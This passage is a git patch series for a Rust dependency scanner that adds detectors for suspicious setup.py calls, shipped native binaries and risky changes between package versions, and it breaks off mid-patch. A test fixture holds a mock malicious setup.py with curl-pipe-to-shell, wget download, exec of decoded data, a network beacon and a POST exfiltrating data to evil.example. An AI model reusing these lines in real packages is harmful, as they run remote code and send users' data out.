From 9078011dffc8158608011fa3b7c1f7464f972a7a Mon Sep 17 00:00:00 2001 From: iam-mercy Date: Mon, 19 Oct 2026 23:33:57 +0100 Subject: [PATCH 1/4] feat(behavioral): scan setup.py for suspicious install-time calls PyPI sdists execute setup.py at install time, making it the direct analogue of npm install scripts. Adds the behavioral analysis module and its first detector: a line-based scan (no Python AST) that strips # comments, then flags subprocess usage (calls and imports), os.system(), exec()/eval(), base64.b64decode() (including direct b64decode imports), and urllib/requests calls. Each hit is a BehavioralFinding carrying the 1-based line number; command-execution signals rate high and obfuscation/network calls rate medium per docs/severity.md. Dependency names such as install_requires=["requests"] are not calls and do not trigger. Closes #103 --- PROGRESS.md | 24 +++ src/behavioral/mod.rs | 66 +++++++ src/behavioral/setup_py.rs | 385 +++++++++++++++++++++++++++++++++++++ src/lib.rs | 4 + 4 files changed, 479 insertions(+) create mode 100644 src/behavioral/mod.rs create mode 100644 src/behavioral/setup_py.rs diff --git a/PROGRESS.md b/PROGRESS.md index 7da9611..fa3f720 100644 --- a/PROGRESS.md +++ b/PROGRESS.md @@ -459,3 +459,27 @@ is closed — see [CONTRIBUTING.md](CONTRIBUTING.md). - **By:** eeshasalaudeen734-creator - **Closes:** #82 - **Status:** In review. + +### behavioral — suspicious-call scan for Python `setup.py` + +- **What:** Adds the `behavioral` analysis module (`src/behavioral/`) and + its first detector, `setup_py::scan_setup_py` + ([`setup_py.rs`](src/behavioral/setup_py.rs)). PyPI sdists execute + `setup.py` at install time, making it the direct analogue of npm + install scripts. The scanner is line-based (no Python AST): it strips + `#` comments (quote-aware), then flags `subprocess` usage (calls and + imports), `os.system(...)`, `exec(`/`eval(`, `base64.b64decode(...)` + (including direct `b64decode` imports), and `urllib`/`requests` calls — + each emitted as a `BehavioralFinding` with the 1-based line number. + Command-execution signals rate **high**; obfuscation and network calls + rate **medium** (see [docs/severity.md](docs/severity.md)). Dependency + *names* like `install_requires=['requests']` are not calls and don't + trigger. +- **Tests:** A normal setuptools `setup.py` fixture scans clean; a + malicious sample flags every call kind at the right line number + (commented-out `eval` excluded); unit tests cover trailing comments, + `#` inside strings, lookalike identifiers (`peval`, `os.system = ...`), + per-line dedupe, and the direct-`b64decode` import. +- **By:** iam-mercy +- **Closes:** #103 +- **Status:** In review. diff --git a/src/behavioral/mod.rs b/src/behavioral/mod.rs new file mode 100644 index 0000000..c8a4c6d --- /dev/null +++ b/src/behavioral/mod.rs @@ -0,0 +1,66 @@ +//! Behavioral analysis of unpacked packages. +//! +//! Where the typosquat and CVE modules reason about a package's *name* and +//! version, the detectors here reason about its *contents*: what runs when +//! it's installed ([`setup_py`]). +//! +//! Behavioral findings are their own type ([`BehavioralFinding`]), not +//! [`Finding`](crate::model::Finding)s — they describe files inside one +//! package rather than a dependency in a lockfile. Each carries a +//! [`Severity`] so reports can rank them the same way as lockfile findings; +//! the level definitions live in `docs/severity.md`. + +pub mod setup_py; + +use std::fmt; + +use crate::cve::severity::Severity; + +/// One suspicious thing a behavioral detector found inside a package. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct BehavioralFinding { + /// Package-relative path of the file the finding is about, using `/` + /// separators (e.g. `setup.py`, `vendor/helper.dll`). + pub file: String, + /// 1-based line number, when the detector works on text (e.g. + /// [`setup_py`]); `None` for whole-file checks such as [`binaries`]. + pub line: Option, + /// How serious the finding is; see `docs/severity.md`. + pub severity: Severity, + /// Human-readable description, e.g. `subprocess call`. + pub message: String, +} + +impl fmt::Display for BehavioralFinding { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self.line { + Some(line) => write!(f, "{}:{line}: ", self.file)?, + None => write!(f, "{}: ", self.file)?, + } + write!(f, "{}", self.message) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn finding_display_includes_file_line_and_message() { + let finding = BehavioralFinding { + file: "setup.py".to_string(), + line: Some(3), + severity: Severity::High, + message: "subprocess call".to_string(), + }; + assert_eq!(finding.to_string(), "setup.py:3: subprocess call"); + + let whole_file = BehavioralFinding { + file: "bin/x".to_string(), + line: None, + severity: Severity::Low, + message: "native binary".to_string(), + }; + assert_eq!(whole_file.to_string(), "bin/x: native binary"); + } +} diff --git a/src/behavioral/setup_py.rs b/src/behavioral/setup_py.rs new file mode 100644 index 0000000..f0a19fe --- /dev/null +++ b/src/behavioral/setup_py.rs @@ -0,0 +1,385 @@ +//! Suspicious-call detection for Python `setup.py`. +//! +//! `setup.py` is executed by `pip` at install time, so anything it does runs +//! on the installer's machine with their privileges — the direct analogue of +//! npm install scripts. This module scans the source *text* (no Python AST) +//! for the calls an install-time payload leans on: +//! +//! - [`SetupPyCall::Subprocess`] / [`SetupPyCall::OsSystem`] — shelling out +//! (`subprocess.run(...)`, `import subprocess`, `os.system(...)`) +//! - [`SetupPyCall::Exec`] / [`SetupPyCall::Eval`] — dynamic code execution +//! - [`SetupPyCall::Base64Decode`] — deobfuscating an embedded payload +//! - [`SetupPyCall::Network`] — `urllib`/`requests` calls +//! +//! The scan is line-based: every line is checked, comments (`# ...`, +//! including trailing ones) are stripped first, and each hit is reported +//! with its 1-based [`BehavioralFinding::line`]. Calls inside a `def` are +//! still flagged — in a `setup.py` anything reachable can run during +//! install, and a human can judge the line in context from the number. + +use crate::cve::severity::Severity; + +use super::BehavioralFinding; + +/// One of the suspicious call shapes [`scan_setup_py`] looks for. +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)] +pub enum SetupPyCall { + Subprocess, + OsSystem, + Exec, + Eval, + Base64Decode, + Network, +} + +impl SetupPyCall { + /// How serious this call is when it appears in a `setup.py`; see + /// `docs/severity.md`. + pub fn severity(self) -> Severity { + match self { + // Command execution or shelling out during install. + SetupPyCall::Subprocess + | SetupPyCall::OsSystem + | SetupPyCall::Exec + | SetupPyCall::Eval => Severity::High, + // Obfuscation and network I/O are strong indicators but not + // proof of code execution on their own. + SetupPyCall::Base64Decode | SetupPyCall::Network => Severity::Medium, + } + } + + /// Short description used in findings and reports. + pub fn message(self) -> &'static str { + match self { + SetupPyCall::Subprocess => "subprocess call", + SetupPyCall::OsSystem => "os.system call", + SetupPyCall::Exec => "exec() call", + SetupPyCall::Eval => "eval() call", + SetupPyCall::Base64Decode => "base64.b64decode call", + SetupPyCall::Network => "network call (urllib/requests)", + } + } +} + +/// Scans `source` (a `setup.py`) for suspicious calls, returning one +/// finding per call kind per line, in line order. The reported file is +/// always `setup.py`; use [`scan_setup_py_in`] to label the findings with +/// a different path (e.g. when diffing two package trees). +pub fn scan_setup_py(source: &str) -> Vec { + scan_setup_py_in("setup.py", source) +} + +/// [`scan_setup_py`] with a caller-supplied file path for the findings. +pub fn scan_setup_py_in(file: &str, source: &str) -> Vec { + let mut findings = Vec::new(); + for (index, raw_line) in source.lines().enumerate() { + let line = strip_comment(raw_line); + for call in calls_in_line(line) { + findings.push(BehavioralFinding { + file: file.to_string(), + line: Some(index + 1), + severity: call.severity(), + message: call.message().to_string(), + }); + } + } + findings +} + +/// The distinct call kinds found on one (comment-stripped) line, in a +/// stable order. +fn calls_in_line(line: &str) -> Vec { + let mut calls = Vec::new(); + let mut push = |call: SetupPyCall| { + if !calls.contains(&call) { + calls.push(call); + } + }; + + if has_subprocess(line) { + push(SetupPyCall::Subprocess); + } + if has_call(line, "os.system") { + push(SetupPyCall::OsSystem); + } + if has_bare_call(line, "exec") { + push(SetupPyCall::Exec); + } + if has_bare_call(line, "eval") { + push(SetupPyCall::Eval); + } + // `base64.b64decode(...)` or `b64decode(...)` after a direct import. + if has_call(line, "base64.b64decode") + || has_bare_call(line, "b64decode") + || line.contains("import b64decode") + { + push(SetupPyCall::Base64Decode); + } + const NETWORK_CALLS: &[&str] = &[ + "urllib.request.urlopen", + "urllib.request.urlretrieve", + "urllib.request.Request", + "urllib.urlopen", + "requests.get", + "requests.post", + "requests.put", + "requests.delete", + "requests.head", + "requests.patch", + "requests.request", + "requests.Session", + ]; + if NETWORK_CALLS.iter().any(|prefix| has_call(line, prefix)) { + push(SetupPyCall::Network); + } + + calls +} + +/// `subprocess` used as a call (`subprocess.run(...)`, `subprocess.Popen`) +/// or pulled in by an import (`import subprocess`, +/// `from subprocess import check_output`). +fn has_subprocess(line: &str) -> bool { + let mut rest = line; + while let Some(pos) = rest.find("subprocess") { + let before = &rest[..pos]; + let after = &rest[pos + "subprocess".len()..]; + let boundary = after + .chars() + .next() + .is_none_or(|c| !(c.is_alphanumeric() || c == '_')); + if boundary && (is_dotted_call_after(after) || after.trim_start().starts_with("import")) { + return true; + } + // `from subprocess import ...` or bare `import subprocess` + if before.trim_end().ends_with("from") || before.trim_end().ends_with("import") { + return true; + } + rest = after; + } + false +} + +/// True when `prefix` appears as a call: identifier boundary before it, +/// optionally `.`, whitespace, then `(` — e.g. `requests.get(` but not +/// `install_requires=["requests"]`. +fn has_call(line: &str, prefix: &str) -> bool { + let mut rest = line; + while let Some(pos) = rest.find(prefix) { + let before = &rest[..pos]; + let after = &rest[pos + prefix.len()..]; + let boundary = before + .chars() + .next_back() + .is_none_or(|c| !(c.is_alphanumeric() || c == '_')); + if boundary && is_call_after(after) { + return true; + } + rest = after; + } + false +} + +/// Like [`has_call`] but the prefix is a bare identifier (`exec(`), where +/// an identifier boundary on both sides is required, so `peval(` and +/// `my_eval_thing(` don't match while `eval(` and `obj.eval(` do. +fn has_bare_call(line: &str, name: &str) -> bool { + let mut rest = line; + while let Some(pos) = rest.find(name) { + let before = &rest[..pos]; + let after = &rest[pos + name.len()..]; + let boundary_before = before + .chars() + .next_back() + .is_none_or(|c| !(c.is_alphanumeric() || c == '_')); + let boundary_after = after + .chars() + .next() + .is_none_or(|c| !(c.is_alphanumeric() || c == '_')); + if boundary_before && boundary_after && is_call_after(after) { + return true; + } + rest = after; + } + false +} + +/// True when what follows an identifier is a call — only whitespace may +/// intervene, so `base64.b64decode (payload)` counts but +/// `base64.b64decode` used as a bare value doesn't. +fn is_call_after(after: &str) -> bool { + after.trim_start().starts_with('(') +} + +/// Like [`is_call_after`] but permits a `.method` chain in between, so +/// `subprocess.run(...)` and `subprocess.Popen (...)` both count. +fn is_dotted_call_after(after: &str) -> bool { + let mut rest = after.trim_start(); + // Zero or more `.method` segments, whitespace-tolerant. + loop { + let segment = rest + .trim_start_matches('.') + .trim_start_matches(|c: char| c.is_alphanumeric() || c == '_') + .trim_start(); + if segment.len() == rest.len() { + break; // no further `.method` segment + } + rest = segment; + } + rest.starts_with('(') +} + +/// Drops a trailing `#` comment, respecting `'...'`/`"..."` quotes and +/// simple backslash escapes inside them. Doesn't attempt triple quotes — +/// a `#` inside a docstring is stripped like any other text, which errs +/// toward flagging, and the line number points a human at it. +fn strip_comment(line: &str) -> &str { + let bytes = line.as_bytes(); + let mut quote: Option = None; + let mut escaped = false; + for (i, &b) in bytes.iter().enumerate() { + if escaped { + escaped = false; + continue; + } + match quote { + Some(q) => match b { + b'\\' => escaped = true, + b if b == q => quote = None, + _ => {} + }, + None => match b { + b'\'' | b'"' => quote = Some(b), + b'#' => return &line[..i], + _ => {} + }, + } + } + line +} + +#[cfg(test)] +mod tests { + use super::*; + + fn call_lines(source: &str, call: SetupPyCall) -> Vec { + scan_setup_py(source) + .into_iter() + .filter(|f| f.message == call.message()) + .map(|f| f.line.expect("setup.py findings carry a line")) + .collect() + } + + const CLEAN: &str = "\ +from setuptools import setup, find_packages + +with open('README.md', encoding='utf-8') as f: + long_description = f.read() + +setup( + name='example-pkg', + version='1.2.3', + description='A perfectly ordinary package', + long_description=long_description, + url='https://example.com/example-pkg', + author='A Maintainer', + license='MIT', + packages=find_packages(), + install_requires=['requests', 'urllib3'], + python_requires='>=3.8', + classifiers=[ + 'Programming Language :: Python :: 3', + 'License :: OSI Approved :: MIT License', + ], +) +"; + + #[test] + fn clean_setuptools_setup_py_is_not_flagged() { + assert_eq!(scan_setup_py(CLEAN), Vec::new(), "clean setup.py: {CLEAN}"); + } + + const MALICIOUS: &str = "\ +from setuptools import setup +import os +import subprocess + +# eval(\"__import__('os').system('id')\") is just a comment +payload = 'aWQ=' +os.system('curl http://evil.example/p.sh | sh') +subprocess.run(['wget', 'http://evil.example/bin'], check=False) +data = __import__('base64').b64decode(payload) +exec(data) +eval(\"print('hi')\") +import urllib.request +urllib.request.urlopen('http://evil.example/beacon') +import requests +requests.post('http://evil.example/exfil', data=data) +setup(name='example-pkg', version='1.2.4') +"; + + #[test] + fn malicious_sample_is_flagged_with_line_numbers() { + let source = MALICIOUS; + assert_eq!(call_lines(source, SetupPyCall::Subprocess), vec![3, 8]); + assert_eq!(call_lines(source, SetupPyCall::OsSystem), vec![7]); + assert_eq!(call_lines(source, SetupPyCall::Base64Decode), vec![9]); + assert_eq!(call_lines(source, SetupPyCall::Exec), vec![10]); + assert_eq!(call_lines(source, SetupPyCall::Eval), vec![11]); + // Line 5's eval() is inside a comment and must not be flagged. + assert_eq!(call_lines(source, SetupPyCall::Network), vec![13, 15]); + } + + #[test] + fn trailing_comments_do_not_trigger_calls() { + assert_eq!(scan_setup_py("x = 1 # eval('nope')"), Vec::new()); + // A '#' inside a string is not a comment, so this eval( counts. + assert_eq!( + call_lines("url = 'http://x/#eval('", SetupPyCall::Eval), + vec![1] + ); + } + + #[test] + fn plain_dependency_names_are_not_network_calls() { + // install_requires naming a package is not a call. + assert_eq!( + scan_setup_py("install_requires=['requests', 'urllib3'],"), + Vec::new() + ); + } + + #[test] + fn direct_b64decode_import_is_flagged() { + assert_eq!( + call_lines("from base64 import b64decode", SetupPyCall::Base64Decode), + vec![1] + ); + } + + #[test] + fn one_finding_per_call_kind_per_line() { + assert_eq!( + call_lines( + "subprocess.run(a) and subprocess.run(b)", + SetupPyCall::Subprocess + ), + vec![1] + ); + } + + #[test] + fn lookalike_identifiers_are_not_calls() { + assert_eq!(scan_setup_py("peval = 1"), Vec::new()); + assert_eq!(scan_setup_py("my_eval_thing = 1"), Vec::new()); + assert_eq!(scan_setup_py("os.system = cleanup"), Vec::new()); + } + + #[test] + fn findings_use_the_supplied_file_name_and_severity() { + let findings = scan_setup_py_in("pkg-1/setup.py", "os.system('id')"); + assert_eq!(findings.len(), 1); + assert_eq!(findings[0].file, "pkg-1/setup.py"); + assert_eq!(findings[0].severity, Severity::High); + } +} diff --git a/src/lib.rs b/src/lib.rs index 047f719..32f93b3 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -9,7 +9,11 @@ //! known-vulnerability ([`cve`]) checks over every dependency in it, minus //! anything accepted in a `.depradarignore` file ([`ignore`]). [`report`] //! rates each finding's severity and renders the result, e.g. as SARIF. +//! [`behavioral`] analyzes the contents of an unpacked package itself — +//! install-time `setup.py` calls, shipped native binaries, and risky +//! changes between two versions. +pub mod behavioral; pub mod cve; pub mod ignore; pub mod lockfile; From 3adadbd9aeb8456b2540cbeb6f997869d1abc582 Mon Sep 17 00:00:00 2001 From: iam-mercy Date: Mon, 19 Oct 2026 23:34:41 +0100 Subject: [PATCH 2/4] feat(behavioral): flag native binaries shipped inside packages Prebuilt executables in an npm or PyPI package cannot be code-reviewed the way source can, and dropped binaries are a common payload carrier. scan_binaries walks an unpacked package tree and reports every file carrying an ELF, PE or Mach-O magic header, or with a native extension (.exe, .dll, .so, .dylib, including versioned libfoo.so.1). Magic bytes are sniffed before extensions are consulted, so an extension-less ELF is still caught. Emits one low-severity informational finding listing all binaries - a review prompt, not a red flag, since real projects ship legitimate native addons. Closes #104 --- PROGRESS.md | 23 ++++ src/behavioral/binaries.rs | 275 +++++++++++++++++++++++++++++++++++++ src/behavioral/mod.rs | 37 ++++- 3 files changed, 334 insertions(+), 1 deletion(-) create mode 100644 src/behavioral/binaries.rs diff --git a/PROGRESS.md b/PROGRESS.md index fa3f720..19ff6e7 100644 --- a/PROGRESS.md +++ b/PROGRESS.md @@ -483,3 +483,26 @@ is closed — see [CONTRIBUTING.md](CONTRIBUTING.md). - **By:** iam-mercy - **Closes:** #103 - **Status:** In review. + +### behavioral — flag native binaries shipped inside packages + +- **What:** Adds [`binaries.rs`](src/behavioral/binaries.rs): + `scan_binaries` walks an unpacked package tree and reports every file + that either carries an ELF (`\x7fELF`), PE (`MZ`) or Mach-O + (`FEEDFACE`/`FEEDFACF`, both endians) magic header, or has a native + extension (`.exe`, `.dll`, `.so`, `.dylib`, including versioned + `libfoo.so.1`). Magic bytes are checked before extensions, so an + extension-less ELF is still caught and a text file named `.dylib` is + still listed. Emits one low-severity informational finding listing all + binaries — prebuilt executables can't be code-reviewed, but real + projects ship legitimate native addons, so it's a review prompt, not a + red flag. +- **Tests:** Small fake headers for each format (ELF, PE, 64-bit LE and + 32-bit BE Mach-O, plus non-magic short/empty buffers); extension + matching incl. `libfoo.so.1.2.3` and negative cases; a tempdir tree + mixing magic-hit, extension-only, nested and clean files; the + informational finding's low severity and file list; empty result for a + binary-free package. +- **By:** iam-mercy +- **Closes:** #104 +- **Status:** In review. diff --git a/src/behavioral/binaries.rs b/src/behavioral/binaries.rs new file mode 100644 index 0000000..427a2ad --- /dev/null +++ b/src/behavioral/binaries.rs @@ -0,0 +1,275 @@ +//! Native binaries shipped inside a package. +//! +//! A prebuilt executable in an npm or PyPI package can't be code-reviewed +//! the way JavaScript or Python can, and dropped binaries are a common +//! payload carrier. [`scan_binaries`] walks an unpacked package tree and +//! reports every file that either carries an ELF, PE or Mach-O magic +//! header or has a native-library extension (`.exe`, `.dll`, `.so`, +//! `.dylib`). +//! +//! The whole scan is one low-severity, informational +//! [`BehavioralFinding`] (`severity_low` in `docs/severity.md`) listing +//! the files — the point is to put the list in front of a human, not to +//! claim malice. Real projects do ship legitimate native wheels and +//! addons, so this is a review prompt, not a blocker. + +use std::fs; +use std::io::Read; +use std::path::Path; + +use crate::cve::severity::Severity; + +use super::{collect_files, BehavioralFinding}; + +/// The single, low-severity finding [`scan_binaries`] emits. +pub const SEVERITY: Severity = Severity::Low; + +/// Executable/object formats recognised by magic bytes. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum BinaryFormat { + /// `\x7fELF` — Linux/Unix executables and shared objects. + Elf, + /// `MZ` — Windows PE executables and DLLs. + Pe, + /// `0xFEEDFACF`/`0xFEEDFACE` (and byte-swapped) — macOS binaries. + MachO, +} + +impl BinaryFormat { + fn from_magic(header: &[u8]) -> Option { + if header.starts_with(&[0x7f, b'E', b'L', b'F']) { + Some(BinaryFormat::Elf) + } else if header.starts_with(b"MZ") { + Some(BinaryFormat::Pe) + } else if header.len() >= 4 { + let magic = [header[0], header[1], header[2], header[3]]; + // MH_MAGIC / MH_CIGAM / MH_MAGIC_64 / MH_CIGAM_64. + const MACHO: [[u8; 4]; 4] = [ + [0xfe, 0xed, 0xfa, 0xce], + [0xce, 0xfa, 0xed, 0xfe], + [0xfe, 0xed, 0xfa, 0xcf], + [0xcf, 0xfa, 0xed, 0xfe], + ]; + if MACHO.contains(&magic) { + Some(BinaryFormat::MachO) + } else { + None + } + } else { + None + } + } +} + +/// Extension-based detection for `.exe`/`.dll`/`.so`/`.dylib`, including +/// versioned shared objects (`libfoo.so.1.2`). +fn has_native_extension(file_name: &str) -> bool { + let name = file_name.to_ascii_lowercase(); + const EXTS: &[&str] = &[".exe", ".dll", ".so", ".dylib"]; + EXTS.iter() + .any(|ext| name.ends_with(ext) || name.contains(&format!("{ext}."))) +} + +/// One file flagged as a native binary. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct NativeBinary { + /// Package-relative path (`/`-separated). + pub file: String, + /// Format from magic bytes; `None` when only the extension matched. + pub format: Option, +} + +/// Scans the unpacked package at `root`, returning every native binary +/// found, sorted by path. Files are sniffed (first 8 bytes) before their +/// extension is consulted, so a `.so` that is actually text is still +/// reported but an extension-less ELF is too. +pub fn scan_binaries(root: &Path) -> std::io::Result> { + let mut binaries = Vec::new(); + for file in collect_files(root)? { + let path = root.join(&file); + let format = sniff(&path)?; + match format { + Some(format) => binaries.push(NativeBinary { + file, + format: Some(format), + }), + None => { + let name = path + .file_name() + .map(|n| n.to_string_lossy().into_owned()) + .unwrap_or_default(); + if has_native_extension(&name) { + binaries.push(NativeBinary { file, format: None }); + } + } + } + } + Ok(binaries) +} + +/// [`scan_binaries`] wrapped as the informational finding reports consume. +pub fn scan_binaries_finding(root: &Path) -> std::io::Result> { + let binaries = scan_binaries(root)?; + if binaries.is_empty() { + return Ok(None); + } + let mut list = Vec::new(); + for binary in &binaries { + match binary.format { + Some(format) => list.push(format!("{} ({format})", binary.file)), + None => list.push(binary.file.clone()), + } + } + Ok(Some(BehavioralFinding { + file: String::new(), + line: None, + severity: SEVERITY, + message: format!("ships native binaries: {}", list.join(", ")), + })) +} + +/// Reads the first bytes of `path` and matches them against the known +/// magic numbers. I/O errors propagate; short files just don't match. +fn sniff(path: &Path) -> std::io::Result> { + let mut file = fs::File::open(path)?; + let mut header = [0u8; 8]; + let read = file.read(&mut header)?; + Ok(BinaryFormat::from_magic(&header[..read])) +} + +impl std::fmt::Display for BinaryFormat { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + let name = match self { + BinaryFormat::Elf => "ELF", + BinaryFormat::Pe => "PE", + BinaryFormat::MachO => "Mach-O", + }; + f.write_str(name) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use std::fs; + use tempfile::tempdir; + + #[test] + fn recognises_magic_headers() { + let elf = [0x7f, b'E', b'L', b'F', 0x02, 0x01, 0x01, 0x00]; + assert_eq!(BinaryFormat::from_magic(&elf), Some(BinaryFormat::Elf)); + + let pe = b"MZ\x90\x00\x03\x00\x00\x00"; + assert_eq!(BinaryFormat::from_magic(pe), Some(BinaryFormat::Pe)); + + // 64-bit little-endian Mach-O, the common macOS layout. + let macho64le = [0xcf, 0xfa, 0xed, 0xfe, 0x07, 0x00, 0x00, 0x01]; + assert_eq!( + BinaryFormat::from_magic(&macho64le), + Some(BinaryFormat::MachO) + ); + // 32-bit big-endian Mach-O. + let macho32be = [0xfe, 0xed, 0xfa, 0xce, 0x00, 0x00, 0x00, 0x01]; + assert_eq!( + BinaryFormat::from_magic(&macho32be), + Some(BinaryFormat::MachO) + ); + + assert_eq!(BinaryFormat::from_magic(b"#!/bin/sh\n"), None); + assert_eq!(BinaryFormat::from_magic(b""), None); + assert_eq!(BinaryFormat::from_magic(b"M"), None); + } + + #[test] + fn extension_matching_covers_versioned_shared_objects() { + assert!(has_native_extension("payload.exe")); + assert!(has_native_extension("payload.EXE")); + assert!(has_native_extension("helper.dll")); + assert!(has_native_extension("native.so")); + assert!(has_native_extension("libfoo.so.1")); + assert!(has_native_extension("libfoo.so.1.2.3")); + assert!(has_native_extension("addon.dylib")); + assert!(!has_native_extension("setup.py")); + assert!(!has_native_extension("README.md")); + assert!(!has_native_extension("something.soapy")); + } + + fn write(path: &Path, bytes: &[u8]) { + if let Some(parent) = path.parent() { + fs::create_dir_all(parent).unwrap(); + } + fs::write(path, bytes).unwrap(); + } + + #[test] + fn scan_reports_magic_and_extension_hits_across_the_tree() { + let dir = tempdir().unwrap(); + let root = dir.path(); + write(&root.join("index.js"), b"module.exports = {};\n"); + write(&root.join("README.md"), b"# hello\n"); + write(&root.join("bin/dropper"), b"\x7fELF\x02\x01\x01\x00padding"); + write( + &root.join("vendor/helper.dll"), + b"MZ\x90\x00 not really a PE", + ); + write(&root.join("native.dylib"), b"not a real mach-o but .dylib"); + write(&root.join("lib.so.1"), b"versioned shared object by name"); + // An extension-less Mach-O hiding deeper in the tree. + write( + &root.join("vendor/nested/mod"), + b"\xfe\xed\xfa\xcf\x07\x00\x00\x01", + ); + + let binaries = scan_binaries(root).unwrap(); + let files: Vec<&str> = binaries.iter().map(|b| b.file.as_str()).collect(); + assert_eq!( + files, + vec![ + "bin/dropper", + "lib.so.1", + "native.dylib", + "vendor/helper.dll", + "vendor/nested/mod", + ] + ); + assert_eq!(binaries[0].format, Some(BinaryFormat::Elf)); + assert_eq!(binaries[1].format, None, "extension-only hit"); + assert_eq!(binaries[2].format, None, "extension-only hit"); + assert_eq!(binaries[3].format, Some(BinaryFormat::Pe)); + assert_eq!(binaries[4].format, Some(BinaryFormat::MachO)); + } + + #[test] + fn clean_text_package_yields_nothing() { + let dir = tempdir().unwrap(); + write(&dir.path().join("package.json"), b"{}\n"); + write(&dir.path().join("src/index.js"), b"export default 1;\n"); + assert_eq!(scan_binaries(dir.path()).unwrap(), Vec::new()); + } + + #[test] + fn informational_finding_lists_every_binary_at_low_severity() { + let dir = tempdir().unwrap(); + write(&dir.path().join("a.exe"), b"MZ"); + write(&dir.path().join("b"), b"\x7fELF\x02"); + let finding = scan_binaries_finding(dir.path()).unwrap().unwrap(); + assert_eq!(finding.severity, Severity::Low); + assert_eq!(finding.line, None); + assert!( + finding.message.contains("a.exe (PE)"), + "{}", + finding.message + ); + assert!(finding.message.contains("b (ELF)"), "{}", finding.message); + } + + #[test] + fn no_finding_for_a_binary_free_package() { + let dir = tempdir().unwrap(); + write( + &dir.path().join("setup.py"), + b"from setuptools import setup\n", + ); + assert!(scan_binaries_finding(dir.path()).unwrap().is_none()); + } +} diff --git a/src/behavioral/mod.rs b/src/behavioral/mod.rs index c8a4c6d..398dd70 100644 --- a/src/behavioral/mod.rs +++ b/src/behavioral/mod.rs @@ -2,7 +2,8 @@ //! //! Where the typosquat and CVE modules reason about a package's *name* and //! version, the detectors here reason about its *contents*: what runs when -//! it's installed ([`setup_py`]). +//! it's installed ([`setup_py`]) and what machine code it ships +//! ([`binaries`]). //! //! Behavioral findings are their own type ([`BehavioralFinding`]), not //! [`Finding`](crate::model::Finding)s — they describe files inside one @@ -10,6 +11,7 @@ //! [`Severity`] so reports can rank them the same way as lockfile findings; //! the level definitions live in `docs/severity.md`. +pub mod binaries; pub mod setup_py; use std::fmt; @@ -41,6 +43,39 @@ impl fmt::Display for BehavioralFinding { } } +/// Collects the package-relative path of every regular file under `root`, +/// sorted, using `/` as the separator on every platform. Directory symlinks +/// are not followed and non-file entries are skipped. +pub(crate) fn collect_files(root: &std::path::Path) -> std::io::Result> { + let mut files = Vec::new(); + collect_into(root, root, &mut files)?; + files.sort(); + Ok(files) +} + +fn collect_into( + root: &std::path::Path, + dir: &std::path::Path, + out: &mut Vec, +) -> std::io::Result<()> { + for entry in std::fs::read_dir(dir)? { + let entry = entry?; + let file_type = entry.file_type()?; + let path = entry.path(); + if file_type.is_dir() { + collect_into(root, &path, out)?; + } else if file_type.is_file() { + let rel = path + .strip_prefix(root) + .unwrap_or(&path) + .to_string_lossy() + .replace('\\', "/"); + out.push(rel); + } + } + Ok(()) +} + #[cfg(test)] mod tests { use super::*; From d33ea8dab485603b0f41ea84bc0adc62ef337cfb Mon Sep 17 00:00:00 2001 From: iam-mercy Date: Mon, 19 Oct 2026 23:35:11 +0100 Subject: [PATCH 3/4] feat(behavioral): diff two package versions for risky changes The most useful supply-chain signal is often what changed: a patch release that adds an install script or network code. diff_versions(old, new) compares two unpacked package trees and reports added/removed files, install scripts present in new but not old (a root setup.py, or npm preinstall/install/postinstall entries in package.json), and suspicious setup.py calls new in new. Calls are matched by file and kind rather than line, so ordinary line shifts from a version bump create no noise. PackageDiff::is_clean() is true when only benign files changed. Closes #105 --- PROGRESS.md | 22 ++ src/behavioral/diff.rs | 229 ++++++++++++++++++ src/behavioral/mod.rs | 5 +- tests/fixtures/README.md | 7 + tests/fixtures/behavioral/beacon-v1/index.js | 1 + tests/fixtures/behavioral/beacon-v1/setup.py | 11 + tests/fixtures/behavioral/beacon-v2/index.js | 1 + tests/fixtures/behavioral/beacon-v2/setup.py | 14 ++ .../behavioral/leftpad-lite-docs/CHANGELOG.md | 5 + .../behavioral/leftpad-lite-docs/README.md | 3 + .../behavioral/leftpad-lite-docs/index.js | 7 + .../behavioral/leftpad-lite-docs/package.json | 6 + .../behavioral/leftpad-lite-v1/README.md | 3 + .../behavioral/leftpad-lite-v1/index.js | 7 + .../behavioral/leftpad-lite-v1/package.json | 6 + .../behavioral/leftpad-lite-v2/README.md | 3 + .../behavioral/leftpad-lite-v2/index.js | 7 + .../behavioral/leftpad-lite-v2/package.json | 6 + .../behavioral/leftpad-lite-v2/setup.py | 13 + tests/fixtures/behavioral/npmish-v1/index.js | 1 + .../behavioral/npmish-v1/package.json | 8 + tests/fixtures/behavioral/npmish-v2/index.js | 1 + .../behavioral/npmish-v2/package.json | 9 + 23 files changed, 373 insertions(+), 2 deletions(-) create mode 100644 src/behavioral/diff.rs create mode 100644 tests/fixtures/behavioral/beacon-v1/index.js create mode 100644 tests/fixtures/behavioral/beacon-v1/setup.py create mode 100644 tests/fixtures/behavioral/beacon-v2/index.js create mode 100644 tests/fixtures/behavioral/beacon-v2/setup.py create mode 100644 tests/fixtures/behavioral/leftpad-lite-docs/CHANGELOG.md create mode 100644 tests/fixtures/behavioral/leftpad-lite-docs/README.md create mode 100644 tests/fixtures/behavioral/leftpad-lite-docs/index.js create mode 100644 tests/fixtures/behavioral/leftpad-lite-docs/package.json create mode 100644 tests/fixtures/behavioral/leftpad-lite-v1/README.md create mode 100644 tests/fixtures/behavioral/leftpad-lite-v1/index.js create mode 100644 tests/fixtures/behavioral/leftpad-lite-v1/package.json create mode 100644 tests/fixtures/behavioral/leftpad-lite-v2/README.md create mode 100644 tests/fixtures/behavioral/leftpad-lite-v2/index.js create mode 100644 tests/fixtures/behavioral/leftpad-lite-v2/package.json create mode 100644 tests/fixtures/behavioral/leftpad-lite-v2/setup.py create mode 100644 tests/fixtures/behavioral/npmish-v1/index.js create mode 100644 tests/fixtures/behavioral/npmish-v1/package.json create mode 100644 tests/fixtures/behavioral/npmish-v2/index.js create mode 100644 tests/fixtures/behavioral/npmish-v2/package.json diff --git a/PROGRESS.md b/PROGRESS.md index 